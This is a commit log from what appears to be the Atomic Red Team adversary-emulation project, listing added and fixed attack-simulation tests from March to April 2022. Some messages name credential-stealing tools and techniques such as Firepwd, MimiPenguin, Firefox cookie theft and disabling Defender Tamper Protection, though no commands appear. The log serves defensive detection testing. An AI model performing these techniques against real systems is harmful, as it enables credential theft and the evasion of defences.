CircleCI Atomic Red Team doc generator 8b4fd77d4a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-18 17:40:36 +00:00
CircleCI Atomic Red Team GUID generator bb740ee53b Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-18 17:40:31 +00:00
Leo Verlod 73ba251295 Adding T1555.003 Test 8 - Firepwd.py (#1871)
* Adding T1555.003 Test 8 - Firepwd.py

This test launches Firepwd.py, which is a password stealing tool for Firefox.

* use github permanent url

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-18 11:40:00 -06:00
CircleCI Atomic Red Team doc generator 4e4630b8b4 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-18 16:54:28 +00:00
CircleCI Atomic Red Team GUID generator 01926ea4d2 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-18 16:54:23 +00:00
frack113 1e9ebad80c Add simple T1039 tests (#1869) 2022-04-18 10:54:01 -06:00
CircleCI Atomic Red Team doc generator 72fc6bd787 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-14 22:38:49 +00:00
CircleCI Atomic Red Team GUID generator d5c079a274 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-14 22:38:42 +00:00
Eloy 0d952f9271 add Impacket psexec test to T1569.002 (#1862)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-14 16:38:05 -06:00
CircleCI Atomic Red Team doc generator e2388dc514 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-14 16:55:58 +00:00
CircleCI Atomic Red Team GUID generator 9c49e6dab4 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-14 16:55:51 +00:00
IntelScott 757f0a5e7c Create T1615.yaml (#1868)
* Create T1615.yaml

Quick test for a new technique

* Update T1615.yaml

Fixed format of executor object

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-14 10:55:20 -06:00
David McKennirey 5d7a0e7939 T1105: Update timeout to ping (#1867) 2022-04-14 10:50:25 -06:00
CircleCI Atomic Red Team doc generator a57b17bea6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-13 02:58:38 +00:00
David McKennirey 6b5a4b333e Update timeout command to ping (#1865)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-12 20:58:03 -06:00
CircleCI Atomic Red Team doc generator 65684bf80b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-13 02:55:49 +00:00
A. Didier 7067d53a01 Update T1573.yaml (#1866)
RFC 2606 compliance, to avoid future potential complications.
2022-04-12 20:55:21 -06:00
Jay_darknight 32aec500d4 Added module license to the T1014.c (#1864) 2022-04-12 12:29:59 -06:00
CircleCI Atomic Red Team doc generator 8d11407f52 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-12 18:28:03 +00:00
Jay_darknight 8cb901bd91 Update the prereq commands for T1014-1,2 tests (#1863) 2022-04-12 12:27:38 -06:00
CircleCI Atomic Red Team doc generator b354cd4ed1 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-11 20:06:00 +00:00
CircleCI Atomic Red Team GUID generator 98659aee67 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-11 20:05:54 +00:00
Matt Graeber 40ce7a7cea Adding and refactoring msiexec tests (#1861) 2022-04-11 14:05:24 -06:00
CircleCI Atomic Red Team doc generator 905e3df079 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-11 15:38:05 +00:00
jovial7 3a00e9fe6a Deleting test (TamperData) (#1860)
Deleting test 'Disable Windows Defender Tamper Protection'

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-11 09:37:33 -06:00
frack113 80b1e0e591 Add T1195 (#1858)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-11 09:32:29 -06:00
CircleCI Atomic Red Team doc generator 23d30f599d Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-11 15:26:24 +00:00
frack113 3fb0610204 Fix prereq_command test 2 (#1857)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-11 09:25:50 -06:00
CircleCI Atomic Red Team doc generator da4d80c694 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-11 15:22:21 +00:00
Leo Verlod f13ec2fb08 Rewriting T1036 Test 1 in Powershell (#1859) 2022-04-11 09:21:40 -06:00
CircleCI Atomic Red Team doc generator 4d713c6a01 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-08 15:13:11 +00:00
lucasRiley 38d904f4f1 T1003.002 #4, Powerdump Improvement (#1856)
* T1003.002 #4 Improvement

* T1003.002 #4 Improvement

* keep previous guid

Co-authored-by: Riley <lriley@NTI.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-08 09:12:28 -06:00
CircleCI Atomic Red Team doc generator ba46d54c29 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-07 15:40:23 +00:00
NoL1mit 9c4cb3a099 Surround time variable in single quotes (#1855)
* Surround time variable in single quotes

The time in the YAML file should be wrapped in single quotes due to the colon being interpreted to have special meaning.

* Update T1053.005.yaml

Fixed parameters versus command logic
2022-04-07 09:39:55 -06:00
CircleCI Atomic Red Team doc generator 58880ec29c Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-05 22:56:27 +00:00
CircleCI Atomic Red Team GUID generator f8cfabb253 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-05 22:56:22 +00:00
Liam Somerville fc30a1ea05 T1078.003.yaml - Add MacOS commands (#1851)
* T1078.003.yaml - Add MacOS commands

add mac os commands to create user

* Update T1078.003.yaml

remove list users, better technique described under T1087.001

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-05 16:56:04 -06:00
CircleCI Atomic Red Team doc generator f290e08d83 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-05 21:45:23 +00:00
CircleCI Atomic Red Team GUID generator 1d109a96b7 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-05 21:45:18 +00:00
Liam Somerville 3cade57156 Update T1082.yaml - Add System Integrity Protection status (MacOS) (#1852)
* Update T1082.yaml - Add System Integrity Protection status (MacOS)

csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not. This command checks and displays System Integrity Protection status.

* Update T1082.yaml

* Update T1082.yaml

fix formatting issues
2022-04-05 15:44:46 -06:00
CircleCI Atomic Red Team doc generator 66f6f4d8b2 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-05 15:59:36 +00:00
CircleCI Atomic Red Team GUID generator d758660559 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-05 15:59:31 +00:00
Leo Verlod cbeebddaa4 Adding T1562.001 Test 28 (Issue 1839) (#1845)
* Adding T1562.001 Test 28 (Issue 1839)

* Updating T1562.001 YAML to include additional input arg and cleanup

* make folder delete optional

* Update T1562.001.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-05 09:59:08 -06:00
Carrie Roberts 5006f24bfb add cloud executors (#1848) 2022-04-04 12:36:12 -06:00
CircleCI Atomic Red Team doc generator 0f612a3f16 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-04 12:54:36 +00:00
CircleCI Atomic Red Team GUID generator 7f144097c6 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-04 12:54:30 +00:00
Leo Verlod 92825f626b Create T1539 Test 1 - Steal Firefox Cookies (#1842)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-04 06:54:08 -06:00
CircleCI Atomic Red Team doc generator 51b7c9fe77 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-04 12:50:31 +00:00
CircleCI Atomic Red Team GUID generator 961f8c7e80 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-04 12:50:24 +00:00
IntelScott 3fb3fb2a84 Create T1555.004.yaml (#1843)
* Create T1555.004.yaml

* remove blank auto-generated guid

* use standard quotes

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-04 06:49:57 -06:00
CircleCI Atomic Red Team doc generator 14f6ec8047 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-04 12:42:03 +00:00
frack113 750f0ae00c Fix test 33-34 (#1844) 2022-04-04 06:41:33 -06:00
CircleCI Atomic Red Team doc generator bbe0da2d8a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-03 01:03:02 +00:00
MrOrOneEquals1 f8a2984634 do a little cleanup immediately to avoid execution issues with later tests (#1841) 2022-04-02 19:02:27 -06:00
CircleCI Atomic Red Team doc generator 1302296c39 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-01 15:08:14 +00:00
Carrie Roberts 0686474ce2 remove atomic until it can be fixed (#1840) 2022-04-01 09:07:40 -06:00
Jose Enrique Hernandez a5576220c0 first skeleton of github ci files (#1836)
* first skeleton of github ci files

* removing guids gen for now

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-01 08:41:15 -06:00
CircleCI Atomic Red Team doc generator 7091fa8b16 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-01 14:37:00 +00:00
Jose Enrique Hernandez dfb7aef0b4 Merge pull request #1837 from clr2of8/nav-filter2
add nav layer filters and update enterprise-attack.json
2022-04-01 10:36:31 -04:00
d1vious 55a04cf8b8 removing guids gen for now 2022-04-01 10:13:13 -04:00
Jose Enrique Hernandez 225d39ed9a Merge branch 'master' into nav-filter2 2022-04-01 10:11:02 -04:00
CircleCI Atomic Red Team doc generator 3c7b481fc8 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-01 13:59:40 +00:00
CircleCI Atomic Red Team GUID generator b0859bc9e4 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-01 13:59:32 +00:00
Carrie Roberts d9f09df84a move to different T# (#1838)
* moving T# to better fit

* moving T# to better fit

* moving T# to better fit
2022-04-01 07:58:53 -06:00
Carrie Roberts bc3e0c1745 add nav layer filters and update enterprise-attack.json 2022-03-31 21:07:38 -06:00
d1vious c865666c9e first skeleton of github ci files 2022-03-31 23:04:36 -04:00
CircleCI Atomic Red Team doc generator 17a758ade1 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-31 20:37:38 +00:00
CircleCI Atomic Red Team GUID generator 6618ffa41a Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-31 20:37:33 +00:00
Michael Haag b2a0d07d9b Add Root Certificate to CurrentUser (#1835) 2022-03-31 14:37:10 -06:00
KP f6f1efa7a8 Update Ruby convenience image (#1834)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-31 11:34:00 -06:00
CircleCI Atomic Red Team doc generator 0c9460f719 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-30 22:27:26 +00:00
CircleCI Atomic Red Team GUID generator 63bad3b06c Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-30 22:27:19 +00:00
Michael Haag 869b893247 Simple Safe Mode Registry Mod (#1832)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-30 16:26:39 -06:00
CircleCI Atomic Red Team doc generator b23d5928a9 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-30 22:20:40 +00:00
CircleCI Atomic Red Team GUID generator d149f3346e Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-30 22:20:34 +00:00
Leo Verlod 952d94c6f7 Adding T1219 Test 6 - Ammyy Admin (#1831)
* Add ammyy.exe

* Add T1219 Test 6 - Ammyy Admin

* Update prereq link - ammyy admin

* Update T1219 - Ammyy Admin Prereq

* Delete Ammyy.exe

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-30 16:19:58 -06:00
CircleCI Atomic Red Team doc generator 660993d192 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-30 20:04:14 +00:00
CircleCI Atomic Red Team GUID generator f1fe392c26 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-30 20:04:09 +00:00
jovial7 c6c27f6678 Add Tamper Protection Atomic (#1833)
* Add Tamper Protection Atomic

* Update T1562.001.yaml

* Update T1562.001.yaml
2022-03-30 14:03:44 -06:00
CircleCI Atomic Red Team doc generator a5a7b2d77b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-24 22:20:10 +00:00
CircleCI Atomic Red Team GUID generator 6038941b3a Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-24 22:20:04 +00:00
hush-pup b1ae7ed23a Added two tests (#1826)
* Added two tests

* Fixing indentation

Fixed indentation at line 87

* Removed blank auto guid lines

* spacing updates to give circleci a kick

* case

* name to not array

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-24 16:19:25 -06:00
Robin van den Hurk 92b132ed9f Divided 2 merged id's (#1827)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-24 15:52:16 -06:00
CircleCI Atomic Red Team doc generator 3593517b9c Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-24 21:48:07 +00:00
CircleCI Atomic Red Team GUID generator 665a672401 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-24 21:48:01 +00:00
Carrie Roberts 3832ab6c6d spec fix (#1829) 2022-03-24 15:47:32 -06:00
CircleCI Atomic Red Team doc generator 544e6a9857 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-24 21:20:58 +00:00
Rahul Jaisinghani 46ebaf88b1 Update T1546.015.yaml (#1828) 2022-03-24 15:20:22 -06:00
CircleCI Atomic Red Team doc generator be902d17af Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-23 22:23:56 +00:00
CircleCI Atomic Red Team GUID generator dc30412384 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-23 22:23:51 +00:00
Bhavin Patel c9f70f3d56 Merge pull request #1797 from esanyaCode/T1562.008-o365_exchange_audit_log_disabled
Automated o365 Exchange Audit Log disabled scenario
2022-03-23 15:23:21 -07:00
Bhavin Patel 9841cccafd Merge branch 'master' into T1562.008-o365_exchange_audit_log_disabled 2022-03-23 15:22:37 -07:00
CircleCI Atomic Red Team doc generator 13200b42f9 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-23 17:44:48 +00:00
CircleCI Atomic Red Team GUID generator c152203ced Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-23 17:44:42 +00:00
tccontre a41a63ffd9 Powershell tactics (#1825)
* Update T1112.yaml

* Update T1112.yaml

* typos

* Update T1033.yaml

* Update T1033.yaml

* Update T1546.015.yaml

* Update T1546.015.yaml

* Update T1033.yaml

* Update T1546.015.yaml

* Update T1546.015.yaml

* Update T1546.015.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-23 11:44:16 -06:00
Araveti Esanya Reddy d56bbda77a Merge branch 'master' into T1562.008-o365_exchange_audit_log_disabled 2022-03-22 13:16:22 +05:30
CircleCI Atomic Red Team doc generator bd96789f31 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-21 23:15:09 +00:00
CircleCI Atomic Red Team GUID generator 072ade0eb2 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-21 23:15:03 +00:00
Leo Verlod 86e1badb67 Adding T1218 Test 10 - Load DLL with Wuauclt (#1824)
* Create bin directory

* Add calc.dll

* Add Wuauclt dll loading

* prereq description wording update

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-21 17:14:36 -06:00
CircleCI Atomic Red Team doc generator 3259795ba5 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-21 22:57:34 +00:00
frack113 e929fa518f Fix test 10 (#1823)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-21 16:56:59 -06:00
CircleCI Atomic Red Team doc generator 2e26916147 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-21 22:34:50 +00:00
Carrie Roberts 30177c92f8 delete broken wce test (#1822) 2022-03-21 16:33:53 -06:00
CircleCI Atomic Red Team doc generator b4893d15ad Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-18 20:07:16 +00:00
CircleCI Atomic Red Team GUID generator 84a753eb23 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-18 20:07:11 +00:00
Sittikorn S 0b336ae498 Update T1112.yaml (#1821)
Modified Windows Powershell registry to disable Logging module.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-18 14:06:40 -06:00
CircleCI Atomic Red Team doc generator de5e865929 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-18 20:03:18 +00:00
frack113 c761e68ca0 NoTrayContextMenu fix (#1820) 2022-03-18 14:02:44 -06:00
CircleCI Atomic Red Team doc generator 7845416d3d Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-17 16:27:17 +00:00
CircleCI Atomic Red Team GUID generator d2c0df108e Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-17 16:27:11 +00:00
tccontre da6f4250f3 Modify show compress color and tips in registry (#1819)
* Update T1112.yaml

* Update T1112.yaml

* typos

* Update T1112.yaml

* Update T1112.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-17 10:26:37 -06:00
CircleCI Atomic Red Team doc generator f6bb04b95f Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-17 16:25:32 +00:00
CircleCI Atomic Red Team GUID generator 6c5ba92a6b Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-17 16:25:24 +00:00
tccontre b8066ba181 Disable system restore through registry (#1818)
* Update T1112.yaml

* Update T1112.yaml

* typos

* Update T1490.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-17 10:24:40 -06:00
CircleCI Atomic Red Team doc generator 288683be91 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-17 16:23:47 +00:00
CircleCI Atomic Red Team GUID generator 3eadddf970 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-17 16:23:41 +00:00
tccontre 8d9cfa1fe5 Hide files through registry (#1816)
* Update T1112.yaml

* Update T1112.yaml

* typos

* Update T1564.001.yaml

* Update T1564.001.yaml

* typo

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-17 10:23:00 -06:00
CircleCI Atomic Red Team doc generator 1b6204cc23 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-17 16:18:52 +00:00
frack113 3e65326cb9 Fix reg cleanup T1112 Test 9 (#1815)
* Fix reg cleanup

* ignore errors

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-17 10:18:06 -06:00
CircleCI Atomic Red Team doc generator 3906be5325 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-16 19:30:30 +00:00
CircleCI Atomic Red Team GUID generator 1fd5dc6a51 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-16 19:30:25 +00:00
Bhavin Patel c67758383a Merge pull request #1800 from WojciechLesicki/master
Added a new atomic related to adding permission to the application.
2022-03-16 12:29:57 -07:00
Bhavin Patel 1d44ccac31 Merge branch 'master' into master 2022-03-16 12:28:22 -07:00
CircleCI Atomic Red Team doc generator 20df4c7262 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-16 03:52:57 +00:00
CircleCI Atomic Red Team GUID generator 37f0539284 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-16 03:52:52 +00:00
CyberBilly7 08dd613bb0 systembc (#1814)
Co-authored-by: Chase James <cjames@nti.local>
2022-03-15 21:52:20 -06:00
CircleCI Atomic Red Team doc generator 924cb2491c Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-16 00:45:11 +00:00
CircleCI Atomic Red Team GUID generator cbf89911c1 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-16 00:45:05 +00:00
tccontre 1cb8a5395b Disable Windows Notification And Some Group Policy Features. (#1813)
* Update T1112.yaml

* Update T1112.yaml

* typos

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-15 18:44:39 -06:00
CircleCI Atomic Red Team doc generator 341b5b1987 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-16 00:32:47 +00:00
CircleCI Atomic Red Team GUID generator 6ac1e3a1a4 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-16 00:32:40 +00:00
Leo Verlod ba8f007cea Adding T1083 Test 5 - Simulating MAZE Directory Enumeration (#1812)
Adding T1083 Test 5 - Simulating MAZE Directory Enumeration. This test is designed to simulate the directory enumeration function used by MAZE ransomware (Windows).
2022-03-15 18:32:03 -06:00
CircleCI Atomic Red Team doc generator 12749d4ba6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 21:06:56 +00:00
CircleCI Atomic Red Team GUID generator b7425664a2 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 21:06:50 +00:00
Bhavin Patel 59e7e7bbe2 Merge pull request #1803 from esanyaCode/T1562.001-azure-defense-evasion-eventhub-deletion
Updated Azure Eventhub Deletion Scenario
2022-03-14 14:06:15 -07:00
Bhavin Patel 433d8a29e0 Merge branch 'master' into T1562.001-azure-defense-evasion-eventhub-deletion 2022-03-14 14:04:41 -07:00
CircleCI Atomic Red Team doc generator 6b82fe5136 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 18:07:44 +00:00
CircleCI Atomic Red Team GUID generator 3ce01207ea Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 18:07:38 +00:00
Tim Schulz 85ea448d3b Added procedural variation to include PowerShell execution and WMIC (#1801)
* Added procedural variation to include PowerShell execution and WMIC

* Removed empty GUID lines

* Changed wmic to only command_prompt instead of powershell and command_prompt

Co-authored-by: Tim Schulz <tim@scythe.io>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-14 12:07:08 -06:00
Araveti Esanya Reddy 9dc726b495 updated as per review commets 2022-03-14 23:32:17 +05:30
CircleCI Atomic Red Team doc generator 052cae4391 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 18:01:13 +00:00
CircleCI Atomic Red Team GUID generator e0a6429a77 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 18:01:07 +00:00
tccontre d83aada893 Disable Windows Features (#1811)
* Update T1112.yaml

* Update T1112.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-14 12:00:25 -06:00
CircleCI Atomic Red Team doc generator de8ceae8a6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 17:44:57 +00:00
CircleCI Atomic Red Team GUID generator 859404904a Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 17:44:50 +00:00
tccontre 7a4e2abcdb Update T1112.yaml (#1810)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-14 11:44:14 -06:00
CircleCI Atomic Red Team doc generator 3947bbc2a5 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 17:41:32 +00:00
Araveti Esanya Reddy f3e3346b1a updated as per review comments 2022-03-14 23:11:29 +05:30
CircleCI Atomic Red Team GUID generator de94c41347 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 17:41:26 +00:00
frack113 d3a53714b4 Add persistance via Recycle bin (#1809)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-14 11:41:04 -06:00
CircleCI Atomic Red Team doc generator 042bd99bdd Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 17:38:48 +00:00
CircleCI Atomic Red Team GUID generator 0f87abb865 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 17:38:42 +00:00
frack113 f6a8e78538 pnputil lolbin (#1808)
* pnputil lolbin

* spelling

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-14 11:38:08 -06:00
CircleCI Atomic Red Team doc generator 1209d7b0f6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 17:32:56 +00:00
CircleCI Atomic Red Team GUID generator 5e47dae27b Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 17:32:49 +00:00
Michael Haag 687da9235b AD Enumeration - user/groups, pw policy (#1807)
* More AD

* fix conflict resolution mistake

* add powershell

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-14 11:32:18 -06:00
Araveti Esanya Reddy a6e1d47cdd Update T1562.008.yaml 2022-03-14 22:44:03 +05:30
Araveti Esanya Reddy c88221308f updated as per review comments 2022-03-14 22:34:33 +05:30
CircleCI Atomic Red Team doc generator 4c019a8936 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 16:44:03 +00:00
CircleCI Atomic Red Team GUID generator b52281c4cd Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-14 16:43:54 +00:00
Michael Haag d1e3e11730 AD Searching and powerview (#1806)
* ADSI

* new atomics
2022-03-14 10:43:19 -06:00
WojciechLesicki 30af70bef9 Removing md file 2022-03-11 23:59:46 +01:00
WojciechLesicki 8578fc3308 Correct description 2022-03-11 23:52:07 +01:00
Wojciech Lesicki 3c9dfe7e80 Merge branch 'redcanaryco:master' into master 2022-03-11 23:50:15 +01:00
CircleCI Atomic Red Team doc generator 8aedc6cdd9 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-09 21:03:01 +00:00
Carrie Roberts 4e7a2ed599 fix prereq for screenshot test (#1805) 2022-03-09 14:02:31 -07:00
CircleCI Atomic Red Team doc generator 82df99e7c8 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-09 16:16:04 +00:00
CircleCI Atomic Red Team GUID generator 455cd5837e Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-09 16:15:58 +00:00
Leo Verlod 5148b9db57 Adding T1003.007 Test 3 - MimiPenguin Usage (#1804)
Adding T1003.007 Test 3 - Capture Passwords with MimiPenguin. This test is designed to run the MimiPenguin script, which takes advantage of a vulnerability in Ubuntu-based distros, as well as certain versions of GNOME Keyring, in order to capture passwords in cleartext. Upon successful execution, user passwords will be exported to a file and displayed on-screen.
2022-03-09 09:15:17 -07:00
Araveti Esanya Reddy af719c41d2 udpated azure eventhub deletion scenario 2022-03-08 17:57:22 +05:30
CircleCI Atomic Red Team doc generator 6052b5118a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-08 01:33:09 +00:00
SecWilson 42dd141032 Fixing Blackbyte Cleanup Commands (#1802)
Co-authored-by: Wilson <SWilson@nti.local>
2022-03-07 18:32:31 -07:00
Carrie Roberts 9186e32eb2 Merge branch 'master' into master 2022-03-07 11:35:13 -06:00
CircleCI Atomic Red Team doc generator 682d8d732b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-07 17:34:07 +00:00
CircleCI Atomic Red Team GUID generator 03c3400af9 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-07 17:34:02 +00:00
SecWilson 43fa5fb8a0 Blackbyte privilege escalation via Powershell (#1796)
Co-authored-by: Wilson <SWilson@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-07 10:33:31 -07:00
CircleCI Atomic Red Team doc generator 7dd9d481b5 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-07 17:18:44 +00:00
CircleCI Atomic Red Team GUID generator a38b68f067 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-07 17:18:39 +00:00
Leo Verlod 5388982089 Adding T1059.003 Test 4 - BlackByte Print Bombing (#1799)
Adding T1059.003 Test 4, which is designed to emulate the print bombing behavior observed in recent BlackByte ransomware attacks.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-07 10:18:20 -07:00
CircleCI Atomic Red Team doc generator c81858120b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-07 16:39:15 +00:00
lucasRiley 999d18a36d T1059.005 Fix Cleanup and Prereq (#1798)
Co-authored-by: Riley <lriley@NTI.local>
2022-03-07 09:38:41 -07:00
WojciechLesicki 54f98b9930 Added one more newline :) 2022-03-06 19:15:00 +01:00
WojciechLesicki eb50e5b1e0 Adding new lines 2022-03-06 18:59:52 +01:00
WojciechLesicki 2be981e92d I added another atomic related to adding permission to the application in AzureAD. 2022-03-06 18:54:11 +01:00
